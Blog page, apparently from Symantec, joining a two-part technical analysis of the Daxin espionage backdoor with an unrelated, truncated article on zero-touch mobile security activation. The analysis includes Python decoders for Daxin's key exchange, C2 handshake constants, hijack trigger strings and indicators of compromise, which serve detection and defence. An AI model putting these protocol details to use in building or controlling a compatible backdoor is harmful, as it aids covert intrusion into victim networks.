In this section we will dissect the network traffic between two backdoor instances running on the separate computers “Alice-PC” and “Bob-PC”. The traffic was initiated by the Daxin backdoor running on “Alice-PC” when it was instructed to create a communication channel to “Dave-PC” passing via two intermediate nodes, “Bob-PC” and “Charlie-PC”, as described previously.
Figure 2. Wireshark capture of traffic between two backdoor instances. The screenshot and examples below are reused from a private report prepared by us that discussed an earlier sample, so certain details may not match.
Using Wireshark, we captured traffic between two backdoor instances, one running on “Alice-PC” and the other on “Bob-PC”, as shown in Figure 2.
Starting with the key exchange, all backdoor communication is carried out by exchanging messages that follow the same underlying format:
import struct
def dissect_message(message):
magic, kind, unknown_03, total_length = struct.unpack("<HBBI", message[: 8])
assert total_length == len(message)
print(f"0000 magic = {magic:04x}")
print(f"0002 kind = {kind:02x}")
print(f"0003 unknown_03 = {unknown_03:02x}")
print(f"0004 total_length = {total_length:08x}")
return magic, kind, message[8: ]
The magic value is always 0x9910 or 0x9911.
The kind value identifies the state transition during key exchange. Then, once the encrypted communication channel is established, it encodes the purpose of each message and determines the formatting of the data that follows the fixed-size header.
The initial message of the key exchange in the Wireshark capture is not encrypted:
class Session:
pass
def decode_key_exchange_1_message(tcp_dump):
message = bytes.fromhex(tcp_dump)
magic, kind, message_body = dissect_message(message)
assert magic == 0x9910
assert kind in [0x10, 0x11]
print(f"0008 message_body (unused) = {message_body}")
return Session()
my_session = decode_key_exchange_1_message("""
10 99 11 00 08 00 00 00
""")
It can be decoded as follows:
0000 magic = 9910
0002 kind = 11
0003 unknown_03 = 00
0004 total_length = 00000008
0008 message_body (unused) = b''
The fields magic and kind correspond to the first three bytes of TCP data, 0x10 0x99 0x11. On the target computer, in case it is infected with a copy of the malicious driver, this sequence causes the TCP connection to be hijacked, as explained in part one of this blog series.
The target checks that the received message is valid according to the session state machine, ensuring that magic is the expected constant 0x9910 and kind matches any of two supported values: 0x10 or 0x11. Next, it generates a nonce to use when encrypting any future incoming messages. Finally, it sends a response message with the nonce, its own details, and the information about the infected machine.
Parts of the response message are encrypted using a combination of the following algorithms:
import hashlib
import itertools
def rc4_variant(key):
"""Variant of RC4 with modified initial value of j in PRGA.
The initial value of j in PRGA is from the final KSA operation and may not be zero.
"""
S = bytearray(range(0x100))
j = 0
cycled_key = itertools.cycle(key)
for i in range(0x100):
j = (j + S[i] + next(cycled_key)) & 0xff
S[i], S[j] = S[j], S[i]
i = 0
# skipping j reinitialization
while True:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xff]
yield K
def rol(value, count, width=8):
mask = (1 << width) - 1
return (((value << count) & mask)
| ((value & mask) >> (width - count))
)
def xor_crypt(data, key_stream):
return bytes([byte ^ next(key_stream) for byte in data])
def derive_key(nonce):
md5 = hashlib.md5()
md5.update([REDACTED])
md5.update(nonce)
rc4_variant_key = bytearray()
for byte in md5.digest():
rc4_variant_key.append([REDACTED])
rc4_variant_stream = rc4_variant(rc4_variant_key)
return xor_crypt(nonce, rc4_variant_stream)
The details of this response message are as follows:
from socket import inet_ntoa
def decode_key_exchange_2_message(session, tcp_dump):
message = bytes.fromhex(tcp_dump)
magic, kind, message_body = dissect_message(message)
assert magic == 0x9910
assert kind == 0x12
assert 0x114 <= len(message_body)
unknown_00 = message_body[: 0x10]
session.target_build = int.from_bytes(message_body[0x10: 0x13], "little")
session.target_version = int.from_bytes(message_body[0x13: 0x14], "little")
encrypted_target_nonce = message_body[0x14: 0x94]
encrypted_information = message_body[0x94: 0xac]
unused = message_body[0xac: ]
cycled_key = itertools.cycle(b"\x10\x99")
target_nonce = xor_crypt(encrypted_target_nonce, cycled_key)
key_stream = rc4_variant(target_nonce)
information = xor_crypt(encrypted_information, key_stream)
recognised_login = information[: 0x10]
initiator_ip_addr = information[0x10: 0x14]
netmask = information[0x14: ]
print(f"0008 message_body:")
print(f"0008 unknown_00 (marker?)= {unknown_00}")
print(f"0018 target_build? = {session.target_build}")
print(f"001b target_version? = {session.target_version}")
print(f"001c target_nonce = {target_nonce.hex()}")
print(f"009c information:")
print(f"009c recognised_login = {recognised_login}")
print(f"00ac initiator_ip_addr = {inet_ntoa(initiator_ip_addr)}")
print(f"00b0 netmask = {inet_ntoa(netmask)}")
print(f"00b4 unused = {unused}")
session.target_key = derive_key(target_nonce)
session.target_key_stream = itertools.cycle(session.target_key)
decode_key_exchange_2_message(my_session, """
10 99 12 00 1c 01 00 00 78 72 74 00 83 fa ff ff
00 00 00 00 00 00 00 00 75 07 00 13 89 5c 69 be
7f 09 60 ed 3d 3d 9c c5 ef 55 67 29 14 67 70 2d
ef a7 5e bb 5f 59 a4 e8 31 d4 55 cf f4 7e 19 15
ed 29 a1 48 ac 91 38 a8 9f 6f 7a 1f 66 50 89 d9
a7 66 5e fb c3 fc 3d 54 a8 19 ac 58 28 b5 65 38
aa 1a 09 6f 20 99 58 2e 59 7d 5f 51 f7 40 51 59
c3 4f 59 76 a0 db 2e 39 3d c5 68 02 6f 43 f2 77
1f 49 41 74 7f 4d 04 e1 83 f9 dd e5 2e e1 6f 25
aa 15 f7 4b dc 06 00 e9 f7 30 32 75 82 7b 14 87
cb 40 2b 42 8e 54 5a dd c4 21 d2 b7 8f 88 25 02
95 e0 4d 4e 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
""")
The message includes the backdoor login that is recognized during the following key exchange step, and what looks like malware build and version numbers.
Looking at the decoded message, we find references to “XRT” and these reassemble the hardcoded Name “NDISXRPT” that we documented when discussing the NdisRegisterProtocol() call during driver initialization:
0000 magic = 9910
0002 kind = 12
0003 unknown_03 = 00
0004 total_length = 0000011c
0008 message_body:
0008 unknown_00 (marker?) = b'xrt\x00\x83\xfa\xff\xff[REMOVED ZEROS]'
0018 target_build? = 1909
001b target_version? = 19
001c target_nonce = 99c57927[REMOVED FOR BREVITY]e7a922ec
009c information:
009c recognised_login = b'XRT[REMOVED ZEROS]'
00ac initiator_ip_addr = 10.0.2.1
00b0 netmask = 255.255.255.0
00b4 unused = b'[REMOVED ZEROS]'
The initiator responds with the backdoor login and hashed password:
def decode_key_exchange_3_message(session, tcp_dump):
encrypted_message = bytes.fromhex(tcp_dump)
message = xor_crypt(encrypted_message, session.target_key_stream)
magic, kind, message_body = dissect_message(message)
assert magic == 0x9911
assert kind == 0x15
assert 0x94 <= len(message_body)
login = message_body[: 0x10]
password_hash = message_body[0x10: 0x14]
initiator_nonce = message_body[0x14: 0x94]
unused = message_body[0x94: ]
print(f"0008 message_body:")
print(f"0008 login = {login}")
print(f"0018 password_hash = {password_hash.hex()}")
print(f"001c initiator_nonce = {initiator_nonce.hex()}")
print(f"009c unused = {unused}")
session.initiator_key = derive_key(initiator_nonce)
session.initiator_key_stream = itertools.cycle(session.initiator_key)
md5 = hashlib.md5()
md5.update([REDACTED])
md5.update(session.target_key[: 0x40])
md5.update(session.initiator_key[0x40: ])
if (session.target_build > 1410) and (session.target_version >= 16):
md5.update([REDACTED])
session.shared_key = md5.digest()
decode_key_exchange_3_message(my_session, """
26 dc d1 0c 6e d9 52 76 e4 7d 56 33 36 a7 a1 46
76 74 37 80 5f f5 89 69 xx xx xx xx 98 9f 16 9a
11 73 23 01 56 70 bd 13 fb a8 b6 8c bf 04 ae b1
dc b8 22 44 da 1b bb c0 59 87 c3 0f 55 66 89 ae
14 84 70 89 7d 6e a0 28 3e ff 8e 7c da 99 a7 00
ad 1b c7 63 72 60 c7 4a 09 df 4c fb d8 b2 da 56
b4 de 71 3b 7e a5 c0 d4 28 bd 55 5c 2c 23 42 51
76 0f ad 5d 8e eb c6 f9 05 38 81 42 07 c6 5c 5f
a0 22 94 b0 9f f0 2e 6d 5f 7e ab d4 fa 55 4d a8
ff 0a 09 d3 d7 cf ad f3 74 fb 88 48
""")
It also includes its own nonce, like this:
0000 magic = 9911
0002 kind = 15
0003 unknown_03 = 00
0004 total_length = 0000009c
0008 message_body:
0008 login = b'XRT[REMOVED ZEROS]'
0018 password_hash = [REDACTED]
001c initiator_nonce = b0bf1c98[REMOVED FOR BREVITY]0bee8fff
009c unused = b''
At this point, the peers exchange their nonces and compute two transport keys. Each transport key is used in stream mode to encrypt the TCP half-stream directed towards the side that generated the corresponding nonce.
The peers also combined their nonces into the shared key. This shared key will be used to encrypt the body of each exchanged message, reusing the same key every time.
The final key exchange message confirms that the initiator was successfully authenticated and the backdoor is ready to process instructions:
def dissect_encrypted_message(transport_key_stream, shared_key, encrypted_message):
message = xor_crypt(encrypted_message, transport_key_stream)
magic, kind, encrypted_message_body = dissect_message(message)
key_stream = rc4_variant(shared_key)
message_body = xor_crypt(encrypted_message_body, key_stream)
return magic, kind, message_body
def decode_key_exchange_4_message(session, tcp_dump):
encrypted_message = bytes.fromhex(tcp_dump)
magic, kind, message_body = dissect_encrypted_message(session.initiator_key_stream,
session.shared_key, encrypted_message)
assert magic == 0x9911
assert kind == 0x16
print(f"0008 message_body (unused) = {message_body}")
decode_key_exchange_4_message(my_session, """
44 4a 18 ce 90 a5 67 2f
""")
It can be decoded as follows:
0000 magic = 9911
0002 kind = 16
0003 unknown_03 = 00
0004 total_length = 00000008
0008 message_body (unused) = b''
For the messages that follow, the kind field encodes the message purpose. This determines the formatting of the message body. For example, the backdoor instruction to set up new connectivity across multiple malicious nodes uses kind value 6 with the following message body structure:
def format_kind_06_message_body(message_body):
number_of_nodes = int.from_bytes(message_body[: 2], "little")
remaining_to_connect = int.from_bytes(message_body[2: 4], "little")
print(f"0008 message_body:")
print(f"0008 number_of_nodes = {number_of_nodes}")
print(f"000a remaining_to_connect = {remaining_to_connect}")
offset = 4
for index in range(number_of_nodes):
ip_addr = message_body[offset: offset + 4][:: -1]
port = int.from_bytes(message_body[offset + 4: offset + 6], "little")
login = message_body[offset + 6: offset + 0x16]
password = message_body[offset + 0x16: offset + 0x38]
comment = ""
if index + remaining_to_connect == number_of_nodes:
comment = " (HEAD)"
print(f"{offset + 0x08:04x} node #{index + 1}{comment}:")
print(f"{offset + 0x08:04x} ip_addr = {inet_ntoa(ip_addr)}")
print(f"{offset + 0x0c:04x} port = {port}")
print(f"{offset + 0x0e:04x} login = {login}")
print(f"{offset + 0x1e:04x} password = {password}")
offset += 0x38
unused = message_body[offset: ]
print(f"{offset + 0x08:04x} unused = {unused}")
We could continue to decrypt all the backdoor communication that follows:
message_body_formatters = {
0x06: format_kind_06_message_body,
}
def format_message_body(message_body):
print(f"0008 message_body = {message_body}")
def decode_encrypted_initiator_message(session, tcp_dump):
encrypted_message = bytes.fromhex(tcp_dump)
magic, kind, message_body = dissect_encrypted_message(session.target_key_stream,
session.shared_key, encrypted_message)
message_body_formatters.get(kind, format_message_body)(message_body)
def decode_encrypted_target_message(session, tcp_dump):
encrypted_message = bytes.fromhex(tcp_dump)
magic, kind, message_body = dissect_encrypted_message(session.initiator_key_stream,
session.shared_key, encrypted_message)
message_body_formatters.get(kind, format_message_body)(message_body)
For example, the next message in the captured network traffic is:
decode_encrypted_initiator_message(my_session, """
39 b9 0c 02 7b f8 d1 a4 b7 a3 8f 4b 15 f4 33 33
a2 be aa 75 14 46 8f 25 62 7b fa 22 01 24 6a ee
36 c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx
xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
xx xx xx xx d0 77 c6 16 35 bd 3a 39 6d df 9a 8b
cb de 6a a0 8d e7 f4 e7 e6 ae xx xx xx xx xx xx
xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
xx xx xx xx xx xx xx xx xx xx xx xx 72 fc a0 2a
cd 21 04 57 41 e8 17 68 0a f4 de 18 6a 80 99 39
f7 b6 xx xx xx xx xx xx xx xx xx xx xx xx xx xx
xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
xx xx xx xx
""")
This instructs the backdoor to set up remaining connectivity across malicious nodes as explained in the “Backdoor capabilities” section in our previous blog:
0000 magic = 9911
0002 kind = 06
0003 unknown_03 = 00
0004 total_length = 000000b4
0008 message_body:
0008 number_of_nodes = 3
000a remaining_to_connect = 2
000c node #1:
000c ip_addr = 10.0.2.2
0010 port = 80
0012 login = b'XRT[REMOVED ZEROS]'
0022 password = b'[REDACTED]'
0044 node #2 (HEAD):
0044 ip_addr = 10.0.3.3
0048 port = 80
004a login = b'XRT[REMOVED ZEROS]'
005a password = b'[REDACTED]'
007c node #3:
007c ip_addr = 10.0.4.4
0080 port = 80
0082 login = b'XRT[REMOVED ZEROS]'
0092 password = b'[REDACTED]'
00b4 unused = b''
The most interesting observation about encryption is that Daxin supports two methods for computing the shared key during the key exchange. To select which of the two methods to use, the initiator examines the target message, comparing what looks like build and version numbers against certain hardcoded constants. This could be in order to facilitate upgrading the malicious network in the field without disruption.
Additionally, the current key exchange implementation involves additional obfuscation that is not present in some older samples. It is possible that the attacker was forced to change the algorithm and decided to implement additional measures to protect the details of new logic.
An alternative explanation is that different teams within the attacker organization were sharing the same codebase, where one of these teams implemented the alternative key exchange method and related obfuscations to mitigate against potential compromise due to the other team’s activity, while still sharing some of the communication infrastructure.
External communication
The communications protocol documented in the previous section is how two backdoor instances communicate with each other.
On top of that, the analyzed sample also supports two additional communication methods. These additional methods are well suited for crossing the perimeter of the target organization.
HTTP
One of these additional communication methods uses HTTP messages to encapsulate backdoor communications.
To demonstrate this, we implemented our own client to interact with the backdoor using this method. Our client communicated with the backdoor instance running on “Alice-PC” over HTTP to control a set of infected machines, as discussed in the previous two sections.
On the target computer, in case it is infected with a copy of Daxin, the first HTTP request causes the TCP connection to be hijacked due to the malicious packet filter triggering on the HTTP “POST” method string with URI substring “756981520337” as explained in the “Networking” section of our previous blog.
Daxin then parses HTTP request headers and extracts the request body. The request body is then interpreted using the same logic as already described in the “Communications protocol” section.
The reverse communication is then encapsulated as the HTTP response body. When generating the HTTP response, the malicious driver includes “SID” cookie. The value of “SID” cookie is then used when constructing the URI for the subsequent HTTP request.
“HOST” connectivity
The malicious driver can also be configured to communicate with a remote TCP server for command and control. It then periodically connects to the remote server, performs a handshake that is unique to this connectivity method, and then starts backdoor communication.
This connectivity method is controlled with persistent configuration that can be updated by the remote attacker, as explained in the “Backdoor capabilities” section of our previous blog.
To obtain the details of the TCP server to connect to, Daxin checks the value of the “HOST” configuration item. In case the value starts with “http://”, the TCP server details are retrieved from the remote web server, as described below. Otherwise, the configuration value is interpreted as the TCP server address and port.
In order to retrieve the TCP server details from the remote web server, the analyzed sample contacts the provided URL and scans the received HTTP response, including HTTP headers, for magic strings. Whenever it finds “f8xD4C01” followed later by “d7C6x12B”, it attempts to interpret any data immediately following the first marker as a hexadecimal string. The data obtained by decoding the hexadecimal string is then decrypted using the following algorithm:
def decrypt(data):
return bytes([((byte - 0x7d) & 0xff) ^ 0x49 for byte in data])
The decrypted data are interpreted as the TCP server address and port to use.
Whenever the analyzed sample connects to the TCP server, it sends the following sequence of bytes as its handshake:
def serialize_client_handshake(tags_value):
magic = b"\xA8\xB0\x13\x7C\x00\x2C\x13\xBA"
build = 1909
return magic + struct.pack("<HH", build, len(tags_value)) + tags_value
The tags_value parameter is the value of the “TAGS” configuration item. We suspect that the remote server uses the tags_value for tracking specific infections.
The analyzed sample then expects to receive the following hardcoded sequence of bytes from the remote server:
def serialize_server_handshake():
return b"\xA8\xB0\x13\x7C\x45\x1B\xAC\xC0"
This should be followed by the usual key exchange as described in the “Communication protocol” section, where the remote server acts as initiator.
Conclusion
This concludes the second and final part of our technical analysis of Backdoor.Daxin.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
9 MIN READ
Daxin: Stealthy Backdoor Designed for Attacks Against Hardened Networks
Espionage tool is the most advanced piece of malware Symantec researchers have seen from China-linked actors.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
14 MIN READ
Daxin Backdoor: In-Depth Analysis, Part One
In the first of a two-part series of blogs, we will delve deeper into Daxin, examining the driver initialization, networking, key exchange, and backdoor functionality of the malware.
|
Daxin: Stealthy Backdoor Designed for Attacks Against Hardened Networks
Espionage tool is the most advanced piece of malware Symantec researchers have seen from China-linked actors.
New research by the Symantec Threat Hunter team, part of Broadcom Software, has uncovered a highly sophisticated piece of malware being used by China-linked threat actors, exhibiting technical complexity previously unseen by such actors. The malware appears to be used in a long-running espionage campaign against select governments and other critical infrastructure targets.
There is strong evidence to suggest the malware, Backdoor.Daxin, which allows the attacker to perform various communications and data-gathering operations on the infected computer, has been used as recently as November 2021 by attackers linked to China. Most of the targets appear to be organizations and governments of strategic interest to China. In addition, other tools associated with Chinese espionage actors were found on some of the same computers where Daxin was deployed.
Daxin is without doubt the most advanced piece of malware Symantec researchers have seen used by a China-linked actor. Considering its capabilities and the nature of its deployed attacks, Daxin appears to be optimized for use against hardened targets, allowing the attackers to burrow deep into a target’s network and exfiltrate data without raising suspicions.
Through Broadcom’s membership in the Joint Cyber Defense Collaborative (JCDC), Symantec researchers worked with the Cyber Security and Infrastructure Security Agency (CISA) to engage with multiple foreign governments targeted with Daxin and assisted in detection and remediation.
This is the first in a series of blogs. This blog provides an overview of Daxin’s capabilities and will be followed with additional blogs providing further in-depth analysis.
Daxin technical overview
As described in more detail below, Daxin comes in the form of a Windows kernel driver, a relatively rare format for malware nowadays. It implements advanced communications functionality, which both provides a high degree of stealth and permits the attackers to communicate with infected computers on highly secured networks, where direct internet connectivity is not available. These features are reminiscent of Regin, an advanced espionage tool discovered by Symantec in 2014 that others have linked to Western intelligence services.
Daxin’s capabilities suggest the attackers invested significant effort into developing communication techniques that can blend in unseen with normal network traffic on the target’s network. Specifically, the malware avoids starting its own network services. Instead, it can abuse any legitimate services already running on the infected computers.
Daxin is also capable of relaying its communications across a network of infected computers within the attacked organization. The attackers can select an arbitrary path across infected computers and send a single command that instructs these computers to establish requested connectivity. This use case has been optimized by Daxin’s designers.
Daxin also features network tunneling, allowing attackers to communicate with legitimate services on the victim’s network that can be reached from any infected computer.
Daxin in detail
Daxin is a backdoor that allows the attacker to perform various operations on the infected computer such as reading and writing arbitrary files. The attacker can also start arbitrary processes and interact with them. While the set of operations recognized by Daxin is quite narrow, its real value to attackers lies in its stealth and communications capabilities.
Daxin is capable of communicating by hijacking legitimate TCP/IP connections. In order to do so, it monitors all incoming TCP traffic for certain patterns. Whenever any of these patterns are detected, Daxin disconnects the legitimate recipient and takes over the connection. It then performs a custom key exchange with the remote peer, where two sides follow complementary steps. The malware can be both the initiator and the target of a key exchange. A successful key exchange opens an encrypted communication channel for receiving commands and sending responses. Daxin’s use of hijacked TCP connections affords a high degree of stealth to its communications and helps to establish connectivity on networks with strict firewall rules. It may also lower the risk of discovery by SOC analysts monitoring for network anomalies.
Daxin’s built-in functionality can be augmented by deploying additional components on the infected computer. Daxin provides a dedicated communication mechanism for such components by implementing a device named “\\.\Tcp4”. The malicious components can open this device to register themselves for communication. Each of the components can associate a 32-bit service identifier with the opened \\.\Tcp4 handle. The remote attacker is then able to communicate with selected components by specifying a matching service identified when sending messages of a certain type. The driver also includes a mechanism to send back any responses.
There are also dedicated messages that encapsulate raw network packets to be transmitted via the local network adapter. Daxin then tracks network flows, such that any response packets are captured and forwarded to the remote attacker. This allows the attacker to establish communication with legitimate services that are reachable from the infected machine on the target’s network, where the remote attacker uses network tunnels to interact with internal servers of interest.
Figure 1. Daxin can create stealthy communications channels in order to interact with computers on highly secured networks.
Perhaps the most interesting functionality is the ability to create a new communications channel across multiple infected computers, where the list of nodes is provided by the attacker in a single command. For each node, the message includes all the details required to establish communication, specifically the node IP address, its TCP port number, and the credentials to use during custom key exchange. When Daxin receives this message, it picks the next node from the list. Then it uses its own TCP/IP stack to connect to the TCP server listed in the selected entry. Once connected, Daxin starts the initiator side protocol. If the peer computer is infected with Daxin, this results in opening a new encrypted communication channel. An updated copy of the original message is then sent over this new channel, where the position of the next node to use is incremented. The process then repeats for the remaining nodes on the list.
While it is not uncommon for attackers’ communications to make multiple hops across networks in order to get around firewalls and generally avoid raising suspicions, this is usually done step-by-step, such that each hop requires a separate action. However, in the case of Daxin, this process is a single operation, suggesting the malware is designed for attacks on well-guarded networks, where attackers may need to periodically reconnect into compromised computers.
Timeline
The Symantec Threat Hunter team has identified Daxin deployments in government organizations as well as entities in the telecommunications, transportation, and manufacturing sectors. Several of these victims were identified with the assistance of the PwC Threat Intelligence team.
While the most recent known attacks involving Daxin occurred in November 2021, the earliest known sample of the malware dates from 2013 and included all of the advanced features seen in the most recent variants, with a large part of the codebase having already been fully developed. This suggests that the attackers were already well established by 2013, with Daxin features reflecting their expertise at that time.
We believe that before commencing development of Daxin, the attackers were already experimenting for some time with the techniques that become part of Daxin. An older piece of malware – Backdoor.Zala (aka Exforel) – contained a number of common features but did not have many of Daxin’s advanced capabilities. Daxin appears to build on Zala’s networking techniques, reusing a significant amount of distinctive code and even sharing certain magic constants. This is in addition to a certain public library used to perform hooking that is also common between some variants of Daxin and Zala. The extensive sharing indicates that Daxin designers at least had access to Zala’s codebase. We believe that both malware families were used by the same actor, which became active no later than 2009.
Links to known espionage actors
There are several examples of attacks where tools known to be associated with Chinese espionage actors have been observed along with what we believe to be variants of Daxin.
In a November 2019 attack against an information technology company, the attackers used a single PsExec session to first attempt to deploy Daxin before then resorting to Trojan.Owprox. Owprox is associated with the China-linked Slug (aka Owlproxy).
In May 2020, malicious activity involving both Backdoor.Daxin and Trojan.Owprox occurred on a single computer belonging to another organizations, a technology company.
In a July 2020 attack against a military target, the attackers made two unsuccessful attempts to deploy a suspicious driver. When these attempts failed, the attackers resorted to different malware instead, a variant of Trojan.Emulov. Symantec did not obtain either of the two suspicious drivers used in this attack. However, very strong similarities between this attack and earlier activity in which Daxin was used suggests that it is highly likely the attackers attempted to deploy Daxin before falling back on the other malware.
Developing analysis
In summary, Daxin includes some of the most complex features we have seen in a highly probable China-linked malware campaign. We will publish follow-up blogs over the coming days with more detailed technical analysis and other insights from our research and collaborations.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
Malware related to Daxin activity:
81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1 Backdoor.Daxin (32-bit core)
06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4 Backdoor.Daxin (64-bit core)
0f82947b2429063734c46c34fb03b4fa31050e49c27af15283d335ea22fe0555 Backdoor.Daxin (64-bit core)
3e7724cb963ad5872af9cfb93d01abf7cd9b07f47773360ad0501592848992f4 Backdoor.Daxin (64-bit core)
447c3c5ac9679be0a85b3df46ec5ee924f4fbd8d53093125fd21de0bff1d2aad Backdoor.Daxin (64-bit core)
49c827cf48efb122a9d6fd87b426482b7496ccd4a2dbca31ebbf6b2b80c98530 Backdoor.Daxin (64-bit core)
5bc3994612624da168750455b363f2964e1861dba4f1c305df01b970ac02a7ae Backdoor.Daxin (64-bit core)
5c1585b1a1c956c7755429544f3596515dfdf928373620c51b0606a520c6245a Backdoor.Daxin (64-bit core)
6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f Backdoor.Daxin (64-bit core)
7867ba973234b99875a9f5138a074798b8d5c65290e365e09981cceb06385c54 Backdoor.Daxin (64-bit core)
7a08d1417ca056da3a656f0b7c9cf6cd863f9b1005996d083a0fc38d292b52e9 Backdoor.Daxin (64-bit core)
8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce Backdoor.Daxin (64-bit core)
b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427 Backdoor.Daxin (64-bit core)
b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3 Backdoor.Daxin (64-bit core)
cf00e7cc04af3f7c95f2b35a6f3432bef990238e1fa6f312faf64a50d495630a Backdoor.Daxin (64-bit core)
e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e Backdoor.Daxin (64-bit core)
ea3d773438c04274545d26cc19a33f9f1dbbff2a518e4302addc1279f9950cef Backdoor.Daxin (64-bit core)
08dc602721c17d58a4bc0c74f64a7920086f776965e7866f68d1676eb5e7951f Backdoor.Daxin (dropper)
53d23faf8da5791578c2f5e236e79969289a7bba04eee2db25f9791b33209631 Backdoor.Daxin (dropper)
7a7e8df7173387aec593e4fe2b45520ea3156c5f810d2bb1b2784efd1c922376 Backdoor.Zala (32-bit core)
8dafe5f3d0527b66f6857559e3c81872699003e0f2ffda9202a1b5e29db2002e Backdoor.Zala (32-bit core)
96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc Backdoor.Trojan (32-bit core)
9c2f3e9811f7d0c7463eaa1ee6f39c23f902f3797b80891590b43bbe0fdf0e51 Backdoor.Trojan (32-bit core)
c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c Backdoor.Trojan (32-bit core)
e6a7b0bc01a627a7d0ffb07faddb3a4dd96b6f5208ac26107bdaeb3ab1ec8217 Backdoor.Trojan (32-bit core)
File names attributed to Daxin activity:
"ipfltdrvs.sys"
"ndislan.sys"
"ndislan_win2008_x64.sys"
"ntbios.sys"
"patrol.sys"
"performanceaudit.sys"
"print64.sys"
"printsrv64.sys"
"prv64.sys"
"sqlwriter.sys"
"srt.sys"
"srt64.sys"
"syswant.sys"
"usbmrti.sys"
"vncwantd.sys"
"wantd.sys"
"win2k8.sys"
"wmipd.sys"
"[CSIDL_SYSTEM]\drivers\pagefile.sys"
"[CSIDL_SYSTEM]\spool\drivers\ntds.sys"
Malware observed during overlapping activities:
705be833bd1880924c99ec9cf1bd0fcf9714ae0cec7fd184db051d49824cbbf4 suspected Backdoor.Daxin
c791c007c8c97196c657ac8ba25651e7be607565ae0946742a533af697a61878 suspected Backdoor.Daxin
514d389ce87481fe1fc6549a090acf0da013b897e282ff2ef26f783bd5355a01 Trojan.Emulov (core)
1a5c23a7736b60c14dc50bf9e802db3fcd5b6c93682bc40141d6794ae96138d3 Trojan.Emulov (dropper)
a0ac5f7d41e9801b531f8ca333c31021c5e064f13699dbd72f3dfd429f19bb26 Trojan.Owprox (core)
aa7047a3017190c66568814eb70483bf74c1163fb4ec1c515c1de29df18e26d7 Trojan.Owprox (dropper)
|
Debunking the Benefits of Zero-Touch Activation
An additional 20 seconds of user interaction can save your organization from being the victim of a mobile security breach
There’s been a lot of talk recently about the benefits of “zero-touch” activation in the deployment of mobile security solutions in enterprise.
Zero-touch activation/enrollment in mobile refers to a process in which devices in an organization are provisioned and configured automatically by an admin, eliminating or minimizing the need for end-user interaction. If a device is enrolled in an Enterprise Mobility Management (EMM) system, admins can use zero-touch activation to streamline large-scale enterprise app rollouts. In the context of Mobile Threat Defense (MTD) solutions, the capability has been positioned as an easy way to activate security solutions on mobile devices without needing users to do anything (except open the MTD app on their device in most cases). This means end-users do not have to go through an activation process which involves more steps, such as entering credentials and approving app permissions.
Enterprise mobility teams may see zero-touch as the ideal way to deploy MTD across mobile fleets, believing that the less impact a deployment has on user workflows, the greater the adoption. This stems from the idea that “no matter how great a product is, if it’s complicated or time-consuming to implement, users won’t use it.”
While these are certainly important words to live by to ensure a good user experience, the truth is a product can’t be great at all if you don’t allow for its key functionality to be activated.
Zero-touch activation/enrollment in mobile refers to a process in which devices in an organization are provisioned and configured automatically by an admin, eliminating or minimizing the need for end-user interaction.
What the zero-touch argument fails to consider is one simple, albeit important, factor: efficacy of an MTD solution diminishes when critical permissions aren’t requested in the initial onboarding process.
What happens in zero-touch deployments in practice is that a security agent/app gets installed and starts to run on the mobile device but in a limited state. Since key permissions are not prompted, the app is not able to provide maximum protection against unwanted breach.
For example:
Without a VPN protection permission, it can’t provide protection via secure VPN connection
Without permission to access the device’s storage, it can’t scan files and determine their maliciousness
Without a device admin permission, it can’t be prevented from being stopped or uninstalled by third-party apps
Without a push notification permission, it can’t send notifications to end-users about mobile security threats
In many instances where a MTD solution has been deployed via zero-touch activation, we’ve seen that end-users will still eventually receive a prompt for permissions when greater functionality is needed. So end-user interaction will be required in any case – if not during the initial app activation, then at a later point when permissions are needed to enable certain protection actions. The idea of using zero-touch to make the product “less difficult” to deploy, then, has been quashed.
The bottom line: Enterprise mobility teams may not be getting the maximum value from their MTD solution when they choose zero-touch activation. Obtaining all necessary permission approvals at the onboarding stage ensures that you’re leveraging, from the get-go, the full gamut of detection and protection actions the solution has to offer, while increasing MTD sustainability. Think about it this way: having end-users invest an additional 20 seconds in the activation process can go a (very) long way in lowering the risk of unwanted security breaches to your organization.
How to Balance Between Good UX and Optimal Security
It doesn’t have to be one or the other. The UX team at Symantec Endpoint Protection Mobile (SEP Mobile) continuously experiments and looks at the hard data to optimize our user onboarding flow. This has allowed a successful activation process and high adoption rates – without sacrificing key functionality of the app.
Below is a short list of recommendations that have guided our permissions request flow. These are based on comprehensive research we conducted on the behavior of hundreds of thousands of SEP Mobile end-users who have had our solution running on their devices continuously for more than three years.
1. In the tradeoff between security functionality and end-user control over their mobile device, we allow admins in each organization to set the policy that best matches their needs. This means different companies can define differently the set of critical permissions they need in order to achieve the greatest value from their MTD solution.
2. We recommend requesting all needed or planned-to-be-needed permissions upfront, during the activation process. This is for two reasons:
First, the best chance of capturing user attention and getting users to interact with an app is during the initial onboarding stage. If a user did not choose to install the app, i.e. it is pushed automatically through an EMM, they likely will not come back to it after install.
